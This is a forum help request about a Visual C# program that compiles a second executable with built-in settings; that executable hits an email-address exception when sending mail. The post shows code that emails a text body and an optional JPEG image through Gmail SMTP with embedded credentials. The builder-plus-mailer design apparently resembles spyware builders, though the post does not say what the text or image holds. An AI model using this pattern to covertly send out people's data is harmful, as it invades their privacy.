Compiler Inside The Program got errors - Gmail

  • Thread starter Thread starter alextoti
  • Start date Start date
A

alextoti

Guest
Hello Everyone!

I am using Visual C# to make a program, which compiles a code from string to export a new exe.
the first can update some configs for the second, when i try to run the second program i get this Exception:

The specified string is not in the form required for an e-mail address.

While the code is:

try
{
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient(""smtp.gmail.com"");

mail.From = new MailAddress(Config.username);
mail.To.Add(Config.toEmail);
mail.Subject = Config.subject; ;
mail.Body = text;

if (sendImage)
{
var stream = new MemoryStream();
img.Save(stream, ImageFormat.Jpeg);
stream.Position = 0;
mail.Attachments.Add(new Attachment(stream, ""image / jpg""));
}

SmtpServer.Port = Config.smtpPort;
SmtpServer.Credentials = new System.Net.NetworkCredential(Config.username, Config.password);
SmtpServer.EnableSsl = true;

SmtpServer.Send(mail);
Console.WriteLine(""Email has been sent!"");
}
catch (Exception e) { Console.WriteLine(e.Message); }

When i try the code alone, it works normally, while when i use to compile the code my self i get the error.

Continue reading...
 
Back
Top